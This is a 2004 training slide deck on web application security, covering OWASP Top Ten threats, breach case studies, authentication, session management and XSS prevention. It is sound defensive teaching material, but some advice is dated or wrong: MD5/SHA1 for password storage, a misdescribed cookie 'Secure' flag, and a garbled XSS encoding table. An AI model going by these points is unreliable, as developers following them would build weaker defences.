Web Application Security
E-Commerce Risks and Vulnerabilities
April 2004
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Executive Summary &
Introductions
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Agenda
•
•
•
•
•
•
•
•
Introduction
Problem Statement
Information Security
Application Security
The Guiding Tenets of Application Security
The Top Ten
Potential Help – Validators (PHP & J2EE)
Conclusions and Questions
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
3
Can your Architects & Developers Detect…
•
•
•
•
•
•
•
Buffer-overflows ?
Parameter Tampering ?
Stealth Commanding ?
Cross-Site Scripting ?
SQL Injection ?
Cookie Poisoning ?
Hidden Field Manipulation ?
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
4
If not, you are subject to…
•
•
•
•
•
•
Crashing Servers/Applications
User Impersonation
E-Shoplifting
Accessing Sensitive Data
Taking Control of Your Operating System
Taking Control of Your Database
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
5
Name Your Own Price On Pay Pal
• PayPal provided merchants with cut-and-paste code for sending
transaction data to the payment service
• The PayPal payment links easily identified where the software was
stored on the server
• While purveyors of downloadable digital goods who accept PayPal
payments are especially vulnerable, PayPal’s Web Accept system may
hold potential risks for many of its more than 3 million business
customers
• Merchants may be vulnerable to price tampering and other attacks
• Armed with nothing more than a text editor and a Web browser, a
crafty fraud artist can change prices of items at hundreds of e-shops
that use PayPal
Name Your Own Price on PayPal, Wired, April 19, 2002
http://www.wired.com/news/business/0,1367,51977,00.html
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
6
Problem Statement
Why Is Application Security Important?
• New threats emerge every day
• Some hackers are not satisfied with penetrating your
network; they seek information that resides in your
applications/databases
• Applications are often plagued by poor designs, software
bugs, and poor programming practices
• Applications may be a fast and easy entry point into a
secure network
• Applications contain and process your most critical
(important and sensitive) information
• Programming logic may cause vulnerabilities just as
troublesome as difficulties inherent with certain
technologies
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
8
Why Is Application Security
Often Ignored?
• Usually there are time and budget constraints in
application development that cause proper testing and
secure programming training to fall to the way-side
• Security is typically not prioritized by programming teams;
they are paid to deliver functionality first and foremost
• E-commerce initiatives are often rushed into production
• Organizations often expect the software manufacturer
“build in” security; security is 80% process driven, 20%
software driven
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Information Security Defined
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2002 – www.iconsinc.com
What is Information Security?
A combination of…
• People
• Processes
• Technologies
– Infrastructure
– Applications
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Infrastructure and
Applications are integrated in
an e-commerce architecture
v. 2.3
11
Four Basic Security Concepts
Poor application security measures can lead to
breaches in data:
•
•
•
•
Integrity
Confidentiality
Availability
Accountability
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
12
Data Integrity
• Protection of information from tampering, forgery,
or accidental changes.
– Defacement of website
• The White House
• Amnesty International
– E-Shoplifting
• The number of vandalized Web sites recorded by
defacement archive Alldas.de jumped in 2001 to
22,379, over five times more than the 4,393
defacements logged in 2000.
• January 2004, there were 13,654 known attacks on
Linux based WWW systems alone.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
13
Availability
• Ensures that authorized users have access to
the application and the data when required.
• Example: Microsoft Developer Store
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
14
Confidentiality
• Ensures that applications and data is
accessible to only the users intended and
authorized to have access.
• Credit Card Theft
–
–
–
–
CD Universe
CreditCards.com
Guess?
Many Others
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
15
Accountability Within the Application
• Ensure accuracy of data and guide against
unauthorized modifications
• Who did what with your data?
• HIPAA Privacy Regulations: Protected
Healthcare Information (PHI)
– Digital, printed, oral
– Limited technical guidance
– Security enables privacy
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
16
Applications Must Exist
within a Secure Infrastructure
•
•
•
•
•
•
•
Harden systems
Use concept of least-privilege
Patch management
Firewalls
Intrusion detection
Virus protection
And Others Tactics…
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Application Security Defined
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
What is the goal of
Application Security?
Prevent the loss, modification, or misuse of
application systems “data” or application
architecture. Here we are focusing on webenabled systems
Making an e-commerce application secure is much
harder than just adding a password protected
login screen!
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Securing the Application
•
•
•
•
•
•
Authentication & Identification
Authorization & Access Control
Logging & Auditing Procedures
Managing User Sessions
Encryption Routines
And More…
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
20
Web Application Security
The Basic Tenets
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
21
1. Validate Input and Output
• All data input and output should be checked very carefully
for appropriateness. This check should be to see if the data
is what is expected (length, characters). Making a list of
bad characters is not the way to go; the lists are rarely
complete. A secure program should know what it expects,
and reject other input. For example, if an input field is for a
Social Security Number, then any data that is not a string
of nine integers is not valid. A common mistake is to filter
for specific strings or payloads in the belief specific
problems can be prevented.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
22
2. Fail Securely (Closed)
• Applications should default to secure operation. That is, in the event of
failure or misconfiguration, they should not reveal more information
than necessary with regard to:
– Error messages (for efficient debugging purposes)
– The application configuration (directory, version/patch levels)
– The operating environment (network addressing, OS version/patch
levels)
• As well, they should not allow transactions or processes to continue
– With more privileges than normal
– With more access than normal
– Without proper validation of input parameters and output results
– Bypassing any monitoring or logging facilities
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
23
3. Keep it Simple
• While it is tempting to build elaborate and complex
security controls, the reality is that if a security system is
too complex for its user base, it will either not be used or
users will try to find measures to bypass it. Often the most
effective security is the simplest security. Do not expect
users to enter 12 passwords and let the system ask for a
random number password for instance.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
24
4. Use and Reuse Trusted
Components
• Invariably other system designers (either on your
development team or on the Internet) have faced the same
problems as you. They may have invested a large amount
of time on research and developing robust solutions to the
problem. In many cases they will have improved
components through an iterative process and learned from
common mistakes along the way. Using and reusing
trusted components make sense both from a resource
stance and from a security stance. When someone else has
proven they got it right; take advantage.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
25
5. Defense in Depth
• Relying on one component to perform its function 100% of
the time is unrealistic. While we hope to build software
and hardware that works as planned, predicting the
unexpected is difficult . Good systems don’t predict the
unexpected, but plan for it. If one component fails to catch
a security event, a second one would.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
26
6. Only as Secure as the Weakest
Link
• We’ve all seen it, “This system is 100% secure, it uses 128
bit SSL”. While it may be true that the data in transit from
the user’s browser to the web server has appropriate
security controls, more often that not the focus of security
mechanisms is at the wrong place. As in the real world
where there is no point in placing all of your locks on your
front door to leave the backdoor swinging in its hinges,
you need to think carefully about what you are securing.
Attackers are lazy and will find the weakest point and
attempt to exploit it.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
27
7. Security by Obscurity Won’t
Work in the Long Run
• It’s naïve to think that hiding things from prying eyes
doesn’t buy you some amount of time. Lets face it some of
the biggest exploits unveiled in software have been
obscured for years. But obscuring information is very
different from protecting it. You are relying on the fact that
no one stumbles onto your obfuscation. This strategy
doesn’t work in the long term and has no guarantee of
working in the short term.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
28
8. Least Privilege
• Systems should be designed in such a way that they run
with the least amount of system privilege they need to do
their job. This is the need to know approach. If a user
account doesn’t need root privileges to operate, don’t
assign them in the anticipation they may need them.
Giving the pool man an unlimited bank account to buy the
chemicals for your pool when you’re on vacation is
unlikely to be a positive experience.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
29
9. Compartmentalization
• Similarly compartmentalizing users, processes and data
helps contain problems if they do occur.
Compartmentalization is an important concept widely
adopted in the information security realm. Imagine the
same pool man scenario. Giving the pool man the keys to
the house while you are away so he can get to the pool
house, may not be a wise move. Containing his access to
the pool house limits the types of problems that may occur
if something was to happen.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
30
A couple examples of those that
Didn’t Follow these Tenets
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
31
CD Universe
• Theft of 300,000 credit card numbers from an Internet
music retailer which were posted on a Web site after an
attempt to extort money from the company failed
• The hacker said he exploited a security flaw in the
software used to protect financial information at CD
Universe’s Web site
• Reputation Risk
– Would you buy from CD Universe online now?
• Transactional Risk
– Someone has to pay for the purchases made with the stolen credit card
numbers
Rebuffed Internet extortionist posts stolen credit card data, CNN, January 10, 2000
http://www.cnn.com/2000/TECH/computing/01/10/credit.card.crack.2/
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
32
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Microsoft Developer Store
• Unavailable following reports that a security flaw
gave visitors the ability to take control of the site,
including access of customer data
• 10-12 hour window during which some people
knew about this hole and it was still exploitable
• Should you really trust the vendor to implement
your security?
• This occurred because of a programming error;
The site was compromised by way of a search
engine text box
Brian McWilliams, Newsbytes, Microsoft Developer Store shuttered following database gaffe, January 11, 2002
http://online.securityfocus.com/news/307
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
34
Citibank
• $10 million stolen from accounts
• Recovered all but $400,000
• Entrance was gained via poor application level
authentication controls
• Would you keep your money with this institution?
David H. Freedman, How To Hack A Bank, Forbes, April 03, 2000
http://www.forbes.com/asap/2000/0403/056.html
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
35
How Does This
All Come Together?
• Understanding the relationships of security
controls between the various levels of a distributed
application: data, database, backend systems,
front-end systems (e.g., web server), application
code, user interface (e.g., web browser)
DeveloperStore.com was compromised at the
lowest layer (the furthest inside) of their
application – at the database. An attacker took
advantage of ill-prepared relationships between
these components.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
So precisely where does Security Matter
in the Development Lifecycle?
First things First: How may we analyze the development lifecycle?
• Popular Fiction: Waterfall Model
– Linear, Highly Structured, Deterministic
– Traditional Management Viewpoint
• Closer to Reality: Cluster Model
– Development divided into multiple iterations of mini-lifecycles
where developers constantly integrated increasingly refined
knowledge
– Traditional Developer Viewpoint
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Then where should
security be considered?
At every stage of a project after business requirements are understood!
• Selection of Technical Alternatives
• Implementation/Development
–
–
–
–
–
–
–
}
Functional Analysis
Use-Case Analysis
Application Design
Coding Standards
Source Code
User Manuals & Procedures
Operations Manuals & Procedures
• Maintenance/Operations
• End of Life
• After Incidents
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
these steps are
combined in practice
Application Security
The Top Ten Threats
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Open Web Application Security
Project
• http://www.owasp.org
• Documentation
– The Guide
– The Top Ten
• Software
–
–
–
–
WebScarab
WebGoat
CodeSeeker
Numerous Utilities – Check out the CVS tree at
Sourceforge.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
40
Why OWASP?
• Very competent team members
• Producing Real World Results for
Administrators, Developers, and Security
Testers alike. (maybe hackers too)
• Industry recognition.
• U.S. Federal Government Recognition
(FTC & Guess Jeans)
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
41
The OWASP Top Ten
• Unvalidated Input
• Broken Access
Control
• Broken Authentication
and Session
Management
• Cross-Site Scripting
• Buffer Overflows
• Injection Flaws
• Improper Error Handling
(not covered)
• Insecure Storage
• Denial of Service (not
covered)
• Insecure Configuration
Management (not covered)
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
42
But First, a primer
• HTTP v1.1 - RFC 2616 (http://www.ietf.org/)
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040119
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PREF=ID=31b293b93f375666:LD=en:NR=100:TM=1067982432:LM=1076064491:S=N7ujKC9OkInHXTRn
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-length: 1217
Date: Tue, 24 Feb 2004 19:24:01 GMT
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
43
Unvalidated Input – getting
started with a little PHP.
{
return strtr($string,
"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy");
}
{
$pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);
$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';
$len = strlen($string);
if((($min != '') && ($len < $min)) || (($max != '') && ($len > $max)))
return FALSE;
return $string;
}
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
44
Unvalidated Input – the root of:
•
•
•
•
•
•
Cookie Poisoning
Parameter Tampering
Cross Site Scripting
SQL Injection
Stealth Commanding
And others………
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
45
Unvalidated input originates from:
• Carry-over from the mainframe days – blindly
trusting user input. This leads to:
– “buffer-overflows” allowing execution of arbitrary code
(e.g., Code Red)
– “privilege escalation” becoming the administrator of the
system
– “impersonation” of other users
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
46
Best Practices
• Define What is allowed
• As a rule don’t try to pick out everything
that is not allowed.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
47
What is allowed?
•
•
•
•
•
•
Character Set ( UNICODE, UTF-8)
Input Length
Credit Card Format
Data Type (string, integer, etc)
Date
Numeric Range
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
48
Unvalidated Input: References
• J2EE – http://stinger.sourceforge.net
• Apache – http://www.modsecurity.org
• Struts http://www.onjava.com/pub/a/onjava/2002/12/11/j
akartastruts.html
• PHP – OWASP CVS
• .NET http://www.devarticles.com/c/a/ASP.NET/Underst
anding-ASP.Net-Validation-Controls/
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
49
A Quick Demo – Introducing
WebScarab
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
50
Access Control
• Identification and authentication (I&A): These
determine who can log on to a system.
• Authorization: This determines what an authorized
user can do.
• Accountability: This identifies what a user did.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
51
Basic Means of Identification &
Authentication
• Authentication challenges
• Three means of authenticating a user’s
identity
• Problems associated with each
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
52
HTTP Basic Authentication
• No ‘logout’
mechanism
Request
Page
Response
HTTP Client
(web browser)
• Transport
security
Protected Realm
401 Unauthorized Access
WWW – Authenticate
(web server)
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Basic realm=" WallyWorld "
Request
Accept Credentials?
WWW – Authentication
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Response
Yes
Requested Page
• Replay
HTTP/1.1 200 OK
Response
No
401 Unauthorized
HTTP/1.1 401 Authorization Required
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
53
Forms Based Authentication
• Embedded code
– HTML Forms
• TYPE = “PASSWORD”
• POST Request
• Classic Protocol Attacks
• Secure storage of hashed password
repository
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
54
Basic Credential Management
• Username structure
• Storing Usernames & Passwords – MD5
and SHA1 are your friends
• Ensuring Password Quality
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
55
Best Practice Examples
• Forms Based Logins
• Automated Password Reset Systems
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
56
Forms Based Login
•
•
•
•
•
•
•
•
•
•
The database stores an MD5 hash of the password.
A client requests the login page
The server calculates a timestamp and appends a unique number, creating the
the salt, and sends it to the client along with the page.
JavaScript code on the client computes the MD5 hash of the password entered
by the user.
It then concatenates the salt to the hash and re-computes the MD5 hash.
This result is then sent to the server.
The server picks the hash of the password from its database, concatenates the
salt and computes the MD5 hash.
If the user entered the correct password these two hashes should match. The
server compares the two and if they match, the user is authenticated.
See http://pajhome.org.uk/cgi-bin/md5auth.pl for an example in PERL (BSD
License).
Take a peek at Yahoo’s login source 
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
57
Automated Password Reset
Systems
1.
2.
3.
4.
The user clicks on a “forgot my password” link
Ask the user to supply some details like personal details
or ask a hint question.
Send an mail to the users authorized mail id with a link
which will take the user to a page for resetting the
password.
This link should be active for only a short time, and
should be SSL- enabled.
5. The security benefits of this method are:
–
–
the password is not sent in the mail;
since the link is active for a short time, there is no harm even if
the mail remains in the mailbox for a long time.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
58
Broken Access Control
• Failure in restricting access to resources based on
the identity of a particular entity
• Principle of Least Privilege
– Entity be granted the minimum necessary privileges
required to perform a job
– Limits the damage that can result from unauthorized
use.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
59
Mandatory Access Control
• Mandatory access control (MAC) is an access policy determined by
the system, not the owner. MAC is used in multilevel systems that
process highly sensitive data, such as classified government and
military information.
• Sensitivity labels: In a MAC-based system, all subjects and objects
must have labels assigned to them.
• Data import and export: Controlling the import of information from
other systems and export to other systems (including printers) is a
critical function of MAC-based systems, which must ensure that
sensitivity labels are properly maintained and implemented so that
sensitive information is appropriately protected at all times.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
60
Discretionary Access Control
• An access policy determined by the owner of a file (or
other resource). The owner decides who is allowed access
to the file and what privileges they have.
• File and data ownership: Every object in a system must
have an owner. The access policy is determined by the
owner of the resource (including files, directories, data,
system resources, and devices).
• Access rights and permissions: These are the controls that
an owner can assign to individual users or groups for
specific resources.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
61
Role Based Access Control
• Role-based access control assigns group membership
based on organizational or functional roles. This strategy
greatly simplifies the management of access rights and
permissions:
• Access rights and permissions for objects are assigned any
group or, in addition to, individuals.
• Individuals may belong to one or many groups. Individuals
can be designated to acquire cumulative permissions (every
permission of any group they are in) or disqualified from
any permission that isn't part of every group they are in.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
62
RBAC Access Control - J2EE
EJB Security Architecture
• Principals and Roles
– An authenticated identity (principal) is “mapped” to
– A role or set of roles or groups associated with permissions within
the application.
• Declarative security
– Deployment descriptor defines the security properties of the EJB
components
• Programmatic Security
– getCallerPrincipal
– isCallerInRole
• System Security
– EJB “sandboxing” and some are wide open by default.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
63
Security - Presentation Layer
•
•
•
Authenticating users within the servlet – Basic, Forms-Based, Client Certificate, (Digest)
getRemoteUser, isUserInRole, getUserPrincipal
Defined within web.xml:
<security-role>
<role-name>SiteAdmin</role-name>
</security-role>
<security-role-ref>
<role-name>SiteAdmin</role-name>
<role-link>Administrator-login</role-link>
</security-role-ref>
<servlet>
<web-resource-collection>
<web-resource-name>Administration</web-resource-name>
<url-pattern>/siteadmin/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
<auth-constraint>
<role-name>SiteAdmin</role-name>
</auth-constraint>
</web-resource-collection></security-constraint></servlet>
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
64
Security – EJB Layer
• Role definitions are very similar to servlet and are
defined within the assembly descriptor portion of
the deployment descriptor file.
• Mapping roles to methods – for example, the SiteAdmin role can call the setBankBalance method
and the getBankBalance method, but the StandardUser role can only call the getBankBalance.
Method.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
65
EJB Security Example
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
66
Session Management
• HTTP is a stateless protocol
• Browser storage is not secure
• Common Practices
• State Mechanism Schemes
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
67
HTTP Cookies
• Introduction
• How do Cookies work?
• General Considerations
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
68
Cookies, con’t.
• Cookies used to implement access control
schemes
• Eavesdropper armed with packet sniffer
• Transaction processing system
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
69
Cookies Best Practices
• Best Practices
– In ISP or large environments where many users share the same
Web server, it is important to use as specific a path as possible in
the cookie. For instance if the program that processes cookies lives
at URL http://mmm.company.com/app/login.asp then the
developer should arrange for the cookie path to be set to /app
rather than a more general path like /. Additional checks can be
performed to further insure that sessions cannot be intercepted
through the acquisition of valid session keys:
• Expire sessions that have not been accessed within a
reasonable period of time (e.g. 5 minutes).
• Use additional information inside the HTTP stream to
authenticate sessions (e.g. userid, IP address). BUT don’t rely
upon these alone!!!
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
70
Session Management – a broken
Cookie scheme
• “The cookie is encrypted, so it can’t be broken”
– Tue Mar 23 14:54:52 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDC0AD1-10; path=/
– Tue Mar 23 14:54:58 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDCB96C-11; path=/
– Tue Mar 23 14:55:03 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDCE3D1-12; path=/
• The previous cookies are encrypted using Triple
DES in CBC mode.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
71
Cookie Construction
•
Name – A string indicating the name of the cookie. The cookie name and the path comprise a unique
name. Setting a cookie with the same name and path as an existing cookie replaces the existing
occurrence. Name is a required argument.
•
Value – A string specifying the new value of the cookie.
•
Expire – The expiration time of the cookie. The date and time is specified in seconds since 12 AM on
January 1, 1900. If no expiration date is given, the cookie lasts until the end of the current browser
session.
•
Path – The path specifies which URLs in the domain should receive the cookie. This defaults to the
path of the current URL. A path of ‘/’ means all URLs in the domain should receive the cookie.
•
Domain – The domain name specifies the host(s) that should receive the cookies. This string is an
optional argument. The default is the local domain.
•
Secure – A string that indicates whether the cookie can be stored on disk in a cookies file. The defaul
value is ‘INSECURE’, meaning yes the cookie can be written to disk, while often, the DESIRED
setting is ‘SECURE’ meaning the cookie is destroyed as the browser is closed and is only held in
memory.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
72
Securing Session Tokens
• Cryptographic Algorithms for Session
Tokens
–
All session tokens (independent of the state mechanisms) should be user unique, non-predictable, and resistant
to reverse engineering. A trusted source of randomness should be used to create the token (like a pseudorandom number generator, Yarrow, EGADS, etc.). Additionally, for more security, session tokens should be tied
in some way to a specific HTTP client instance to prevent hijacking and replay attacks (e.g. token creation
algorithm should include a variables such as the concatenation of the MAC address of the computer and
process id of the browser window, etc.). In general, a session token algorithm should never be based on or use
as variables any user personal information (user name, password, home address, etc.)
• Appropriate Key Space
–
Even the most cryptographically strong algorithm still allows an active session token to be easily determined if
the keyspace of the token is not sufficiently large. Attackers can essentially "grind" through most possibilities
in the token's key space with automated brute force scripts. A token's key space should be sufficiently large
enough to prevent these types of brute force attacks, keeping in mind that computation and bandwidth capacity
increases will make these numbers insufficient over time.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
73
Managing User Sessions – Session Management Schemes
•
Session Time-Out
–
•
Regeneration of Session Tokens
–
•
Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute
force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If
a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain
access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy
servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited
if the particular session has not been expired on the HTTP server.
To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can
seamlessly expire and regenerate tokens to give attacker a smaller window of time for replay exploitation of
each legitimate token. Token expiration can be performed based on number of requests or time.
Session Forging/Brute-Forcing Detection and/or Lockout
–
Many websites have prohibitions against unrestrained password guessing (e.g., it can temporarily lock the
account or stop listening to the IP address). With regard to session token brute-force attacks, an attacker can
probably try hundreds or thousands of session tokens embedded in a legitimate URL or cookie for example
without a single complaint from the HTTP server. Many intrusion-detection systems do not actively look for
this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers
can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to
brute force a range of tokens. Resulting actions can either ban originating IP address (all behind proxy will be
affected) or lock out the account (potential DoS). Anomaly/misuse detection hooks can also be built in to detect
if an authenticated user tries to manipulate their token to gain elevated privileges.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
74
Session Management Schemes, con’t.
•
Session Re-Authentication
–
•
Session Token Transmission
–
•
Critical user actions such as money transfer or significant purchase decisions should require the
user to re-authenticate or be reissued another session token immediately prior to significant
actions. Developers can also somewhat segment data and user actions to the extent where reauthentication is required upon crossing certain "boundaries" to prevent some types of crosssite scripting attacks that exploit user accounts.
If a session token is captured in transit through network interception, a web application account
is likely then trivially prone to a replay or hijacking attack. Typical web encryption
technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport
Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.
Session Tokens on Logout
–
With the popularity of Internet Kiosks and shared computing environments session tokens take
on a new risk. A browser only destroys session cookies when the browser thread is torn down.
Most Internet kiosks maintain the same browser thread. It is therefore a good idea to overwrite
session cookies when the user logs out of the application.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
75
Best Practices
• Always redirect the user to a new page after login
• Use one session token with two values during authentication. One
value before authentication and one after.
• Never display or store the password in cleartext.
• Never e-mail a password.
• Eliminate Browser caching potential using all known tags. Set the
“autocomplete=false” flag.
• What about keystroke loggers????
• There should be some real random input to the session IDs if they are
to be used as the sole means of session tracking and management.
• Any meaningful data being used in session IDs should be hashed (oneway encrypted).
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
76
Cross – Site Scripting
• Hijacking/Breach of Trust. When hackers
inject malicious code into a site, the false
scripts are executed in a context that
appears to have originated from the targeted
site, giving attackers full access to the
document retrieved, and maybe even
sending data contained in the page back to
the attacker.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
77
XSS types
• Stored – Script Injection into static web site
storage – message boards, comment fields, etc.
• Reflected – “bounced” off a web server, triggered
by a link, or email. The code runs in the context
of the web server
• Invaluable hacker tool for stealing session Ids.
• Usually JavaScript, but can be VBScript, ActiveX,
Shockwave, etc.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
78
Preventing XSS
• Don’t Filter Input, EXPECT only known
characters. Don’t try to figure out all of the
Unicode variants of “<“ and “>” for
example.
• Encode all output sent back to the user:
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
79
XSS Output Encodings
•
•
•
•
•
•
<  <
>  >
(  (
)  )
#  #
&  &
